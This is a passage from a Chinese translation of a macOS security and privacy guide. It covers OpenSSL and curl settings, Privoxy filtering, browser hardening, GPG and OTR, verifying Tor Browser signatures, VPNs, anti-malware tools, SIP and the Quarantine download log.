ciphers，[还有更多](https://stackoverflow.com/questions/27502215/difference-between-openssl-09-8z-and-1-0-1)。\n\nApple 在他们的 [Cryptographic Services 指南](https://developer.apple.com/library/mac/documentation/Security/Conceptual/cryptoservices/GeneralPurposeCrypto/GeneralPurposeCrypto.html)文档中宣布**弃用** OpenSSL。他们的版本也有补丁，可能会[带来惊喜喔](https://hynek.me/articles/apple-openssl-verification-surprises/)。\n\n如果你要在你的 Mac 上用 OpenSSL，用 `brew install openssl` 下载并安装一个 OpenSSL 最近的版本。注意，brew 已经链接了 `/usr/bin/openssl` ，可能和构建软件冲突。查看 [issue #39](https://github.com/drduh/OS-X-Security-and-Privacy-Guide/issues/39)。\n\n在 homebrew 版本和 OpenSSL 系统版本之间比较 TLS 协议和密码：\n\n```\n$ ~/homebrew/bin/openssl version; echo | ~/homebrew/bin openssl s_client -connect github.com:443 2>&1 | grep -A2 SSL-Session\nOpenSSL 1.0.2j  26 Sep 2016\nSSL-Session:\n    Protocol  : TLSv1.2\n    Cipher    : ECDHE-RSA-AES128-GCM-SHA256\n\n$ /usr/bin/openssl version; echo | /usr/bin/openssl s_client -connect github.com:443 2>&1 | grep -A2 SSL-Session\nOpenSSL 0.9.8zh 14 Jan 2016\nSSL-Session:\n    Protocol  : TLSv1\n    Cipher    : AES128-SHA\n```\n\n阅读 [Comparison of TLS implementations](https://en.wikipedia.org/wiki/Comparison_of_TLS_implementations)，[How's My SSL](https://www.howsmyssl.com/)，[Qualys SSL Labs Tools](https://www.ssllabs.com/projects/) 了解更多，查看更详细的解释和最新的漏洞测试请看 [ssl-checker.online-domain-tools.com](http://ssl-checker.online-domain-tools.com)。\n\n## Curl\n\nmacOS 中 Curl 的版本针对 SSL/TLS 验证使用[安全传输](https://developer.apple.com/library/mac/documentation/Security/Reference/secureTransportRef/)。\n\n如果你更愿意使用 OpenSSL，用 `brew install curl --with-openssl` 安装并通过 `brew link --force curl` 确保它是默认的。\n\n这里推荐几个向 `~/.curlrc` 中添加的[可选项](http://curl.haxx.se/docs/manpage.html)（更多请查看 `man curl`）：\n\n```\nuser-agent = \"Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0\"\nreferer = \";auto\"\nconnect-timeout = 10\nprogress-bar\nmax-time = 90\nverbose\nshow-error\nremote-time\nipv4\n```\n\n## Web\n\n### 代理\n\n考虑使用 [Privoxy](http://www.privoxy.org/) 作为本地代理来过滤网络浏览内容。\n\n一个已签名的 privoxy 安装包能从 [silvester.org.uk](http://silvester.org.uk/privoxy/OSX/) 或 [Sourceforge](http://sourceforge.net/projects/ijbswa/files/Macintosh%20%28OS%20X%29/) 下载。签过名的包比 Homebrew 版本[更安全](https://github.com/drduh/OS-X-Security-and-Privacy-Guide/issues/65)，而且能得到 Privoxy 项目全面的支持。\n\n另外，用 Homebrew 安装、启动 privoxy：\n\n    $ brew install privoxy\n\n    $ brew services start privoxy\n\n\n默认情况下，privoxy 监听本地的 8118 端口。\n\n为你的网络接口设置系统 **http** 代理为`127.0.0.1` 和 `8118`（可以通过 **系统偏好设置 > 网络 > 高级 > 代理**）：\n\n    $ sudo networksetup -setwebproxy \"Wi-Fi\" 127.0.0.1 8118\n\n\n**(可选)** 用下述方法设置系统 **https** 代理，这仍提供了域名过滤功能：\n\n    $ sudo networksetup -setsecurewebproxy \"Wi-Fi\" 127.0.0.1 8118\n\n确保代理设置好了：\n\n```\n$ scutil --proxy\n<dictionary> {\n  ExceptionsList : <array> {\n    0 : *.local\n    1 : 169.254/16\n  }\n  FTPPassive : 1\n  HTTPEnable : 1\n  HTTPPort : 8118\n  HTTPProxy : 127.0.0.1\n}\n```\n\n在一个浏览器里访问 <http://p.p/>，或用 Curl 访问：\n\n```\n$ ALL_PROXY=127.0.0.1:8118 curl -I http://p.p/\nHTTP/1.1 200 OK\nContent-Length: 2401\nContent-Type: text/html\nCache-Control: no-cache\n```\n\n代理已经有很多好的规则，你也能自己定义。\n\n编辑 `~/homebrew/etc/privoxy/user.action` 用域名或正则表达式来过滤。\n\n示例如下：\n\n```\n{ +block{social networking} }\nwww.facebook.com/(extern|plugins)/(login_status|like(box)?|activity|fan)\\.php\n.facebook.com\n\n{ +block{unwanted images} +handle-as-image }\n.com/ads/\n/.*1x1.gif\n/.*fb-icon.[jpg|gif|png]\n/assets/social-.*\n/cleardot.gif\n/img/social.*\nads.*.co.*/\nads.*.com/\n\n{ +redirect{s@http://@https://@} }\n.google.com\n.wikipedia.org\ncode.jquery.com\nimgur.com\n```\n\n验证 Privoxy 能够拦截和重定向：\n\n```\n$ ALL_PROXY=127.0.0.1:8118 curl ads.foo.com/ -IL\nHTTP/1.1 403 Request blocked by Privoxy\nContent-Type: image/gif\nContent-Length: 64\nCache-Control: no-cache\n\n$ ALL_PROXY=127.0.0.1:8118 curl imgur.com/ -IL\nHTTP/1.1 302 Local Redirect from Privoxy\nLocation: https://imgur.com/\nContent-Length: 0\nDate: Sun, 09 Oct 2016 18:48:19 GMT\n\nHTTP/1.1 200 OK\nContent-Type: text/html; charset=utf-8\n```\n\n你能用小猫的图片来代替广告图片，例如，通过启动一个本地的 Web 服务器然后[重定向屏蔽的请求](https://www.privoxy.org/user-manual/actions-file.html#SET-IMAGE-BLOCKER)到本地。\n\n### 浏览器\n\nWeb 浏览器引发最大的安全和隐私风险，因为它基本的工作是从因特网上下载和运行未信任的代码。\n\n对于你的大部分浏览请使用 [Google Chrome](https://www.google.com/chrome/browser/desktop/)。它提供了[独立的配置文件](https://www.chromium.org/user-experience/multi-profiles)，[好的沙盒处理](https://www.chromium.org/developers/design-documents/sandbox)，[经常更新](http://googlechromereleases.blogspot.com/)（包括 Flash，尽管你应该禁用它 —— 原因看下面），并且[自带牛哄哄的资格证书](https://www.chromium.org/Home/chromium-security/brag-sheet)。\n\nChrome 也有一个很好的 [PDF 阅读器](http://0xdabbad00.com/2013/01/13/most-secure-pdf-viewer-chrome-pdf-viewer/)。\n\n如果你不想用 Chrome，[Firefox](https://www.mozilla.org/en-US/firefox/new/) 也是一个很好的浏览器。或两个都用。看这里的讨论 [#2](https://github.com/drduh/OS-X-Security-and-Privacy-Guide/issues/2)，[#90](https://github.com/drduh/OS-X-Security-and-Privacy-Guide/issues/90)。\n\n如果用 Firefox，查看 [TheCreeper/PrivacyFox](https://github.com/TheCreeper/PrivacyFox) 里推荐的隐私偏好设置。也要确保为基于 Mozilla 的浏览器检查 [NoScript](https://noscript.net/)，它允许基于白名单预先阻止脚本。\n\n创建至少三个配置文件，一个用来浏览**可信任的**网站 (邮箱，银行)，另一个为了**大部分是可信的** 网站（聚合类，新闻类站点），第三个是针对完全**无 cookie** 和**无脚本**的网站浏览。\n\n* 一个启用了 **无 cookies 和 Javascript**（例如, 在 `chrome://settings/content`中被关掉）的配置文件就应该用来访问未信任的网站。然而，如果不启用 Javascript，很多页面根本不会加载。\n\n* 一个有 [uMatrix](https://github.com/gorhill/uMatrix) 或 [uBlock Origin](https://github.com/gorhill/uBlock)（或两个都有）的配置文件。用这个文件来访问**大部分是可信的**网站。花时间了解防火墙扩展程序是怎么工作的。其他经常被推荐的扩展程序是 [Privacy Badger](https://www.eff.org/privacybadger)、[HTTPSEverywhere](https://www.eff.org/https-everywhere) 和 [CertPatrol](http://patrol.psyced.org/)（仅限 Firefox）。\n\n* 一个或更多的配置文件用来满足安全和可信任的浏览需求，例如仅限于银行和邮件。\n\n想法是分隔并划分数据，那么如果一个“会话”出现漏洞或泄露隐私并不一定会影响其它数据。\n\n在每一个文件里，访问 `chrome://plugins/` 并禁用 **Adobe Flash Player**。如果你一定要用 Flash，访问 `chrome://settings/contents`，在插件部分，启用在**让我自行选择何时运行插件内容**（也叫做 *click-to-play*）。\n\n花时间阅读 [Chromium 安全](https://www.chromium.org/Home/chromium-security)和 [Chromium 隐私](https://www.chromium.org/Home/chromium-privacy)。\n\n例如你可能希望禁用 [DNS prefetching](https://www.chromium.org/developers/design-documents/dns-prefetching)（也可以阅读 [DNS Prefetching and Its Privacy Implications](https://www.usenix.org/legacy/event/leet10/tech/full_papers/Krishnan.pdf)）。\n\n你也应该知道 [WebRTC](https://en.wikipedia.org/wiki/WebRTC#Concerns)，它能获取你本地或外网的（如果连到 VPN）IP 地址。这可以用诸如 [uBlock Origin](https://github.com/gorhill/uBlock/wiki/Prevent-WebRTC-from-leaking-local-IP-address) 和 [rentamob/WebRTC-Leak-Prevent](https://github.com/rentamob/WebRTC-Leak-Prevent) 这样的扩展程序禁用掉。\n\n很多源于 Chromium 的浏览器本文是不推荐的。它们通常[不开源](http://yro.slashdot.org/comments.pl?sid=4176879&cid=44774943)，[维护性差](https://plus.google.com/+JustinSchuh/posts/69qw9wZVH8z)，[有很多 bug](https://code.google.com/p/google-security-research/issues/detail?id=679)，而且对保护隐私有可疑的声明。阅读 [The Private Life of Chromium Browsers](http://thesimplecomputer.info/the-private-life-of-chromium-browsers)。\n\n也不推荐 Safari。代码一团糟而且[安全问题](https://nakedsecurity.sophos.com/2014/02/24/anatomy-of-a-goto-fail-apples-ssl-bug-explained-plus-an-unofficial-patch/)[漏洞](https://vimeo.com/144872861)经常发生，并且打补丁很慢（阅读 [Hacker News 上的讨论](https://news.ycombinator.com/item?id=10150038)）。安全[并不是](https://discussions.apple.com/thread/5128209) Safari 的一个优点。如果你硬要使用它，至少在偏好设置里[禁用](https://thoughtsviewsopinions.wordpress.com/2013/04/26/how-to-stop-downloaded-files-opening-automatically/)**下载后打开\"安全的文件**，也要了解其他的[隐私差别](https://github.com/drduh/OS-X-Security-and-Privacy-Guide/issues/93)。\n\n其他乱七八糟的浏览器，例如 [Brave](https://github.com/drduh/OS-X-Security-and-Privacy-Guide/issues/94)，在这个指南里没有评估，所以既不推荐也不反对使用。\n\n想浏览更多安全方面的问题，请阅读 [HowTo: Privacy & Security Conscious Browsing](https://gist.github.com/atcuno/3425484ac5cce5298932)，[browserleaks.com](https://www.browserleaks.com/) 和 [EFF Panopticlick](https://panopticlick.eff.org/)。\n\n### 插件\n\n**Adobe Flash**, **Oracle Java**, **Adobe Reader**, **Microsoft Silverlight**（Netflix 现在使用了 [HTML5](https://help.netflix.com/en/node/23742)） 和其他的插件有[安全风险](https://news.ycombinator.com/item?id=9901480)，不应该安装。\n\n如果它们是必须的，只在一个虚拟机里安装它们并且订阅安全通知以便确保你总能及时修补漏洞。\n\n阅读 [Hacking Team Flash Zero-Day](http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-flash-zero-day-integrated-into-exploit-kits/)、[Java Trojan BackDoor.Flashback](https://en.wikipedia.org/wiki/Trojan_BackDoor.Flashback)、[Acrobat Reader: Security Vulnerabilities](http://www.cvedetails.com/vulnerability-list/vendor_id-53/product_id-497/Adobe-Acrobat-Reader.html) 和 [Angling for Silverlight Exploits](https://blogs.cisco.com/security/angling-for-silverlight-exploits)。\n\n## PGP/GPG\n\nPGP 是一个端对端邮件加密标准。这意味着只是选中的接收者能解密一条消息，不像通常的邮件被提供者永久阅读和保存。\n\n**GPG** 或 **GNU Privacy Guard**，是一个符合标准的 GPL 协议项目。\n\n**GPG** 被用来验证你下载和安装的软件签名，既可以[对称](https://en.wikipedia.org/wiki/Symmetric-key_algorithm)也可以[非对称](https://en.wikipedia.org/wiki/Public-key_cryptography)的加密文件和文本。\n\n从 Homebrew 上用 `brew install gnupg2` 安装。\n\n如果你更喜欢图形化的应用，下载安装 [GPG Suite](https://gpgtools.org/)。\n\n这有几个往 `~/.gnupg/gpg.conf` 中添加的[推荐选项](https://github.com/drduh/config/blob/master/gpg.conf)：\n\n```\nauto-key-locate keyserver\nkeyserver hkps://hkps.pool.sks-keyservers.net\nkeyserver-options no-honor-keyserver-url\nkeyserver-options ca-cert-file=/etc/sks-keyservers.netCA.pem\nkeyserver-options no-honor-keyserver-url\nkeyserver-options debug\nkeyserver-options verbose\npersonal-cipher-preferences AES256 AES192 AES CAST5\npersonal-digest-preferences SHA512 SHA384 SHA256 SHA224\ndefault-preference-list SHA512 SHA384 SHA256 SHA224 AES256 AES192 AES CAST5 ZLIB BZIP2 ZIP Uncompressed\ncert-digest-algo SHA512\ns2k-digest-algo SHA512\ns2k-cipher-algo AES256\ncharset utf-8\nfixed-list-mode\nno-comments\nno-emit-version\nkeyid-format 0xlong\nlist-options show-uid-validity\nverify-options show-uid-validity\nwith-fingerprint\n```\n\n安装 keyservers [CA 认证](https://sks-keyservers.net/verify_tls.php)：\n\n    $ curl -O https://sks-keyservers.net/sks-keyservers.netCA.pem\n\n    $ sudo mv sks-keyservers.netCA.pem /etc\n\n这些设置将配置 GnuPG 在获取新密钥和想用强加密原语时使用 SSL。\n\n请阅读 [ioerror/duraconf/configs/gnupg/gpg.conf](https://github.com/ioerror/duraconf/blob/master/configs/gnupg/gpg.conf)。你也应该花时间读读 [OpenPGP Best Practices](https://help.riseup.net/en/security/message-security/openpgp/best-practices)。\n\n如果你没有一个密钥对，可以用 `gpg --gen-key` 创建一个。也可以阅读 [drduh/YubiKey-Guide](https://github.com/drduh/YubiKey-Guide)。\n\n读[在线的](https://alexcabal.com/creating-the-perfect-gpg-keypair/)[指南](https://security.stackexchange.com/questions/31594/what-is-a-good-general-purpose-gnupg-key-setup)并练习给你自己和朋友们加密解密邮件。让他们也对这篇文章感兴趣吧！\n\n## OTR\n\nOTR 代表 **off-the-record** 并且是一个针对即时消息对话加密和授权的密码协议。\n\n你能在任何一个已存在的 [XMPP](https://xmpp.org/about) 聊天服务中使用 OTR，甚至是 Google Hangouts（它只在使用 TLS 的用户和服务器之间加密对话）。\n\n你和某人第一次开始一段对话，你将被要求去验证他们的公钥指纹。确保是本人亲自操作或通过其它一些安全的方式(例如 GPG 加密过的邮件)。\n针对 XMPP 和其他的聊天协议，有一个流行的 macOS GUI 客户端是 [Adium](https://adium.im/)。\n\n考虑下载一个 [beta 版本](https://beta.adium.im/)，使用 OAuth2 验证，确保登录谷歌账号[更](https://adium.im/blog/2015/04/)[安全](https://trac.adium.im/ticket/16161)。\n\n```\nAdium_1.5.11b3.dmg\nSHA-256: 999e1931a52dc327b3a6e8492ffa9df724a837c88ad9637a501be2e3b6710078\nSHA-1:   ca804389412f9aeb7971ade6812f33ac739140e6\n```\n\n记住对于 Adium 的 OTR 聊天[禁用登录](https://trac.adium.im/ticket/15722)。\n\n一个好的基于控制台的 XMPP 客户端是 [profanity](http://www.profanity.im/)，它能用 `brew install profanity` 安装。\n\n想增加匿名性的话，查看 [Tor Messenger](https://blog.torproject.org/blog/tor-messenger-beta-chat-over-tor-easily)，尽管它还在测试中，[Ricochet](https://ricochet.im/)（它最近接受了一个彻底的[安全审查](https://ricochet.im/files/ricochet-ncc-audit-2016-01.pdf)）也是，这两个都使用 Tor 网络而不是依赖于消息服务器。\n\n如果你想了解 OTR 是如何工作的，可以阅读这篇论文 [Off-the-Record Communication, or, Why Not To Use PGP](https://otr.cypherpunks.ca/otr-wpes.pdf)\n\n## Tor\n\nTor 是一个用来浏览网页的匿名代理。\n\n从[官方 Tor 项目网站](https://www.torproject.org/projects/torbrowser.html)下载 Tor 浏览器。\n\n**不要**尝试配置其他的浏览器或应用程序来使用 Tor，因为你可能会导致一个错误，危及你的匿名信息。\n\n下载 `dmg` 和 `asc` 签名文件，然后验证已经被 Tor 开发者签过名的磁盘镜像：\n\n```\n$ cd Downloads\n\n$ file Tor*\nTorBrowser-6.0.5-osx64_en-US.dmg:     bzip2 compressed data, block size = 900k\nTorBrowser-6.0.5-osx64_en-US.dmg.asc: PGP signature Signature (old)\n\n$ gpg Tor*asc\ngpg: assuming signed data in `TorBrowser-6.0.5-osx64_en-US.dmg'\ngpg: Signature made Fri Sep 16 07:51:52 2016 EDT using RSA key ID D40814E0\ngpg: Can't check signature: public key not found\n\n$ gpg --recv 0xD40814E0\ngpg: requesting key D40814E0 from hkp server keys.gnupg.net\ngpg: key 93298290: public key \"Tor Browser Developers (signing key) <torbrowser@torproject.org>\" imported\ngpg: no ultimately trusted keys found\ngpg: Total number processed: 1\ngpg:               imported: 1  (RSA: 1)\n\n$ gpg Tor*asc\ngpg: assuming signed data in 'TorBrowser-6.0.5-osx64_en-US.dmg'\ngpg: Signature made Fri Sep 16 07:51:52 2016 EDT using RSA key ID D40814E0\ngpg: Good signature from \"Tor Browser Developers (signing key) <torbrowser@torproject.org>\" [unknown]\ngpg: WARNING: This key is not certified with a trusted signature!\ngpg:          There is no indication that the signature belongs to the owner.\nPrimary key fingerprint: EF6E 286D DA85 EA2A 4BA7  DE68 4E2C 6E87 9329 8290\n     Subkey fingerprint: BA1E E421 BBB4 5263 180E  1FC7 2E1A C68E D408 14E0\n```\n\n确保 `Good signature from \"Tor Browser Developers (signing key) <torbrowser@torproject.org>\"`出现在输出结果中。关于密钥没被认证的警告没有危害的，因为它还没被手动分配信任。\n\n看 [How to verify signatures for packages](https://www.torproject.org/docs/verifying-signatures.html) 获得更多信息。\n\n要完成安装 Tor 浏览器，打开磁盘镜像，拖动它到应用文件夹里，或者这样：\n\n```\n$ hdiutil mount TorBrowser-6.0.5-osx64_en-US.dmg\n\n$ cp -rv /Volumes/Tor\\ Browser/TorBrowser.app /Applications\n```\n\n也可以验证是否这个 Tor 应用程序是由名为 **MADPSAYN6T** 的 Apple 开发者账号进行签名编译的:\n\n```\n$ codesign -dvv /Applications/TorBrowser.app\nExecutable=/Applications/TorBrowser.app/Contents/MacOS/firefox\nIdentifier=org.mozilla.tor browser\nFormat=app bundle with Mach-O thin (x86_64)\nCodeDirectory v=20200 size=247 flags=0x0(none) hashes=5+3 location=embedded\nLibrary validation warning=OS X SDK version before 10.9 does not support Library Validation\nSignature size=4247\nAuthority=Developer ID Application: The Tor Project, Inc (MADPSAYN6T)\nAuthority=Developer ID Certification Authority\nAuthority=Apple Root CA\nSigned Time=Nov 30, 2016, 10:40:34 AM\nInfo.plist entries=21\nTeamIdentifier=MADPSAYN6T\nSealed Resources version=2 rules=12 files=130\nInternal requirements count=1 size=184\n```\n\n为了查看证书的详细内容，可以使用 `codesign` 提取并且使用 `openssl` 对它进行解码:\n\n```\n$ codesign -d --extract-certificates /Applications/TorBrowser.app\nExecutable=/Applications/TorBrowser.app/Contents/MacOS/firefox\n\n$ file codesign*\ncodesign0: data\ncodesign1: data\ncodesign2: data\n\n$ openssl x509 -inform der -in codesign0 -subject -issuer -startdate -enddate -noout\nsubject= /UID=MADPSAYN6T/CN=Developer ID Application: The Tor Project, Inc (MADPSAYN6T)/OU=MADPSAYN6T/O=The Tor Project, Inc/C=US\nissuer= /CN=Developer ID Certification Authority/OU=Apple Certification Authority/O=Apple Inc./C=US\nnotBefore=Apr 12 22:40:13 2016 GMT\nnotAfter=Apr 13 22:40:13 2021 GMT\n\n$ openssl x509 -inform der -in codesign0  -fingerprint -noout\nSHA1 Fingerprint=95:80:54:F1:54:66:F3:9C:C2:D8:27:7A:29:21:D9:61:11:93:B3:E8\n\n$ openssl x509 -inform der -in codesign0 -fingerprint -sha256 -noout\nSHA256 Fingerprint=B5:0D:47:F0:3E:CB:42:B6:68:1C:6F:38:06:2B:C2:9F:41:FA:D6:54:F1:29:D3:E4:DD:9C:C7:49:35:FF:F5:D9\n```\n\nTor 流量对于[出口节点](https://en.wikipedia.org/wiki/Tor_anonymity_network#Exit_node_eavesdropping)（不能被一个网络窃听者读取）是**加密的**， Tor 是**可以**被发现的- 例如，TLS 握手“主机名”将会以明文显示：\n\n```\n$ sudo tcpdump -An \"tcp\" | grep \"www\"\nlistening on pktap, link-type PKTAP (Apple DLT_PKTAP), capture size 262144 bytes\n.............\". ...www.odezz26nvv7jeqz1xghzs.com.........\n.............#.!...www.bxbko3qi7vacgwyk4ggulh.com.........\n.6....m.....>...:.........|../*\tZ....W....X=..6...C../....................................0...0..0.......'....F./0..\t*.H........0%1#0!..U....www.b6zazzahl3h3faf4x2.com0...160402000000Z..170317000000Z0'1%0#..U....www.tm3ddrghe22wgqna5u8g.net0..0..\n```\n\n查看 [Tor Protocol Specification](https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt) 和 [Tor/TLSHistory](https://trac.torproject.org/projects/tor/wiki/org/projects/Tor/TLSHistory) 获得更多信息。\n\n另外，你可能也希望使用一个 [pluggable transport](https://www.torproject.org/docs/pluggable-transports.html)，例如 [Yawning/obfs4proxy](https://github.com/Yawning/obfs4) 或 [SRI-CSL/stegotorus](https://github.com/SRI-CSL/stegotorus) 来混淆 Tor 流量。\n\n这能通过建立你自己的 [Tor relay](https://www.torproject.org/docs/tor-relay-debian.html) 或找到一个已存在的私有或公用的 [bridge](https://www.torproject.org/docs/bridges.html.en#RunningABridge) 来作为一个混淆入口节点来实现。\n\n对于额外的安全性，在 [VirtualBox](https://www.virtualbox.org/wiki/Downloads) 或 [VMware](https://www.vmware.com/products/fusion)，可视化的 [GNU/Linux](http://www.brianlinkletter.com/installing-debian-linux-in-a-virtualbox-virtual-machine/) 或 [BSD](http://www.openbsd.org/faq/faq4.html) 机器里用 Tor。\n\n最后，记得 Tor 网络提供了[匿名](https://www.privateinternetaccess.com/blog/2013/10/how-does-privacy-differ-from-anonymity-and-why-are-both-important/)，这并不等于隐私。Tor 网络不一定能防止一个全球的窃听者能获得流量统计和[相关性](https://blog.torproject.org/category/tags/traffic-correlation)。你也可以阅读 [Seeking Anonymity in an Internet Panopticon](http://bford.info/pub/net/panopticon-cacm.pdf) 和 [Traffic Correlation on Tor by Realistic Adversaries](http://www.ohmygodel.com/publications/usersrouted-ccs13.pdf)。\n\n阅读 [Invisible Internet Project (I2P)](https://geti2p.net/en/about/intro) 和它的 [Tor 对比](https://geti2p.net/en/comparison/tor)。\n\n## VPN\n\n如果你在未信任的网络使用 Mac - 机场，咖啡厅等 - 你的网络流量会被监控并可能被篡改。\n\n用一个 VPN 是个好想法，它能用一个你信任的提供商加密**所有**输出的网络流量。举例说如何建立并拥有自己的 VPN，阅读 [drduh/Debian-Privacy-Server-Guide](https://github.com/drduh/Debian-Privacy-Server-Guide)。\n\n不要盲目地还没理解整个流程和流量将如何被传输就为一个 VPN 服务签名。如果你不理解 VPN 是怎样工作的或不熟悉软件的使用，你就最好别用它。\n\n当选择一个 VPN 服务或建立你自己的服务时，确保研究过协议，密钥交换算法，认证机制和使用的加密类型。诸如 [PPTP](https://en.wikipedia.org/wiki/Point-to-Point_Tunneling_Protocol#Security) 这样的一些协议，应该避免支持 [OpenVPN](https://en.wikipedia.org/wiki/OpenVPN)。\n\n当 VPN 被中断或失去连接时，一些客户端可能通过下一个可用的接口发送流量。查看 [scy/8122924](https://gist.github.com/scy/8122924) 研究下如何允许流量只通过 VPN。\n\n另一些脚本会关闭系统，所以只能通过 VPN 访问网络，这就是 the Voodoo Privacy project - [sarfata/voodooprivacy](https://github.com/sarfata/voodooprivacy) 的一部分，有一个更新的指南用来在一个虚拟机上（[hwdsl2/setup-ipsec-vpn](https://github.com/hwdsl2/setup-ipsec-vpn)）或一个 docker 容器（[hwdsl2/docker-ipsec-vpn-server](https://github.com/hwdsl2/docker-ipsec-vpn-server)）上建立一个 IPSec VPN。\n\n## 病毒和恶意软件\n\n面对[日益增长](https://www.documentcloud.org/documents/2459197-bit9-carbon-black-threat-research-report-2015.html)的恶意软件，Mac 还无法很好的防御这些病毒和恶意软件！\n\n一些恶意软件捆绑在正版软件上，比如 [Java bundling Ask Toolbar](http://www.zdnet.com/article/oracle-extends-its-adware-bundling-to-include-java-for-macs/)，还有 [Mac.BackDoor.iWorm](https://docs.google.com/document/d/1YOfXRUQJgMjJSLBSoLiUaSZfiaS_vU3aG4Bvjmz6Dxs/edit?pli=1) 这种和盗版软件捆绑到一块的。 [Malwarebytes Anti-Malware for Mac](https://www.malwarebytes.com/antimalware/mac/) 是一款超棒的应用，它可以帮你摆脱种类繁多的垃圾软件和其他恶意程序的困扰。\n\n看看[恶意软件驻留在 Mac OS X 的方法](https://www.virusbtn.com/pdf/conference/vb2014/VB2014-Wardle.pdf) (pdf) 和[恶意软件在 OS X Yosemite 后台运行](https://www.rsaconference.com/events/us15/agenda/sessions/1591/malware-persistence-on-os-x-yosemite)了解各种恶意软件的功能和危害。\n\n你可以定期运行 [Knock Knock](https://github.com/synack/knockknock) 这样的工具来检查在持续运行的应用(比如脚本，二进制程序)。但这种方法可能已经过时了。[Block Block](https://objective-see.com/products/blockblock.html) 和 [Ostiarius](https://objective-see.com/products/ostiarius.html) 这样的应用可能还有些帮助。可以在 [issue #90](https://github.com/drduh/OS-X-Security-and-Privacy-Guide/issues/90) 中查看相关警告。除此之外，使用 [Little Flocker](https://www.littleflocker.com/) 也能保护部分文件系统免遭非法写入，类似 Little Snitch 保护网络 (注意，该软件目前是 beat 版本，[谨慎使用](https://github.com/drduh/OS-X-Security-and-Privacy-Guide/pull/128))。\n\n**反病毒**软件是把双刃剑 -- 对于**高级**用户没什么用，却可能面临更多复杂攻击的威胁。然而对于 Mac **新手**用户可能是有用的，可以检测到“各种”恶意软件。不过也要考到额外的处理开销。\n\n看看 [Sophail: Applied attacks against Antivirus](https://lock.cmpxchg8b.com/sophailv2.pdf) (pdf), [Analysis and Exploitation of an ESET Vulnerability](http://googleprojectzero.blogspot.ro/2015/06/analysis-and-exploitation-of-eset.html), [a trivial Avast RCE](https://code.google.com/p/google-security-research/issues/detail?id=546), [Popular Security Software Came Under Relentless NSA and GCHQ Attacks](https://theintercept.com/2015/06/22/nsa-gchq-targeted-kaspersky/), 和 [AVG: \"Web TuneUP\" extension multiple critical vulnerabilities](https://code.google.com/p/google-security-research/issues/detail?id=675).\n\n因此，最好的防病毒方式是日常地防范。看看 [issue #44](https://github.com/drduh/OS-X-Security-and-Privacy-Guide/issues/44) 中的讨论。\n\nmacOS 上有很多本地提权漏洞，所以要小心那些从第三方网站或 HTTP([案例](http://arstechnica.com/security/2015/08/0-day-bug-in-fully-patched-os-x-comes-under-active-exploit-to-hijack-macs/))下载且运行受信或不受信的程序。\n\n看看 [The Safe Mac](http://www.thesafemac.com/) 上过去和目前的 Mac 安全新闻。\n\n也检查下 [Hacking Team](https://www.schneier.com/blog/archives/2015/07/hacking_team_is.html) 为 Mac OS 开发的恶意软件：[root installation for MacOS](https://github.com/hackedteam/vector-macos-root)、 [Support driver for Mac Agent](https://github.com/hackedteam/driver-macos) 和 [RCS Agent for Mac](https://github.com/hackedteam/core-macos)，这是一个很好的示例，一些高级的恶意程序是如何在**用户空间**隐藏自己的(例如 `ps`、`ls`)。想了解更多的话，看看 [A Brief Analysis of an RCS Implant Installer](https://objective-see.com/blog/blog_0x0D.html) 和 [reverse.put.as](https://reverse.put.as/2016/02/29/the-italian-morons-are-back-what-are-they-up-to-this-time/)。\n\n## 系统完整性保护\n\n[System Integrity Protection](https://support.apple.com/en-us/HT204899) (SIP) 这个安全特性源于 OS X 10.11 \"El Capitan\"。默认是开启的，不过[可以禁用](https://derflounder.wordpress.com/2015/10/01/system-integrity-protection-adding-another-layer-to-apples-security-model/)，这可能需要更改某些系统设置，如删除根证书颁发机构或卸载某些启动守护进程。保持这项功能默认开启状态。\n\n摘取自 [OS X 10.11 新增功能](https://developer.apple.com/library/prerelease/mac/releasenotes/MacOSX/WhatsNewInOSX/Articles/MacOSX10_11.html):\n\n> 一项新的安全政策，应用于每个正在运行的进程，包括特权代码和非沙盒中运行的代码。该策略对磁盘上和运行时的组件增加了额外的保护，只允许系统安装程序和软件更新修改系统二进制文件。不再允许代码注入和运行时附加系统二进制文件。\n\n阅读 [What is the “rootless” feature in El Capitan, really?](https://apple.stackexchange.com/questions/193368/what-is-the-rootless-feature-in-el-capitan-really)\n\n[禁用 SIP](http://appleinsider.com/articles/16/11/17/system-integrity-protection-disabled-by-default-on-some-touch-bar-macbook-pros) 的一些 MacBook 已经售出。要验证 SIP 是否已启用，请使用命令 `csrutil status`，该命令应返回：`System Integrity Protection status: enabled.`。否则，通过恢复模式[启用 SIP](https://developer.apple.com/library/content/documentation/Security/Conceptual/System_Integrity_Protection_Guide/ConfiguringSystemIntegrityProtection/ConfiguringSystemIntegrityProtection.html)。\n\n## Gatekeeper 和 XProtect\n\n**Gatekeeper** 和 **quarantine** 系统试图阻止运行（打开）未签名或恶意程序及文件。\n\n**XProtect** 防止执行已知的坏文件和过时的版本插件，但并不能清除或停止现有的恶意软件。\n\n两者都提供了对常见风险的一些保护，默认设置就好。\n\n你也可以阅读 [Mac Malware Guide : How does Mac OS X protect me?](http://www.thesafemac.com/mmg-builtin/) 和 [Gatekeeper, XProtect and the Quarantine attribute](http://ilostmynotes.blogspot.com/2012/06/gatekeeper-xprotect-and-quarantine.html)。\n\n**注意** Quarantine 会将下载的文件信息存储在 `~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`，这可能会造成隐私泄露的风险。简单的使用 `strings` 或下面的命令来检查文件:\n\n    $ echo 'SELECT datetime(LSQuarantineTimeStamp + 978307200, \"unixepoch\") as LSQuarantineTimeStamp, LSQuarantineAgentName, LSQuarantineOriginURLString, LSQuarantineDataURLString from LSQuarantineEvent;' | sqlite3 /Users/$USER/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2\n\n阅读[这篇文章](http://www.zoharbabin.com/hey-mac-i-dont-appreciate-you-spying-on-me-hidden-downloads-log-in-os-x/)了解更多信息。\n\n想永久禁用此项功能，[清除文件](https://superuser.com/questions/90008/how-to-clear-the-contents-of-a-file-from-the-command-line)和[让它不可更改](http://hints.macworld.com/article.php?story=20031017061722471)：\n\n    $ :>~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2\n\n    $ sudo chflags schg ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2\n\n此外，macOS 附加元数据（[HFS+ extended attributes](https://en.wikipedia.org/wiki/Extended_file_attributes#OS_X)）来下载文件，能通过 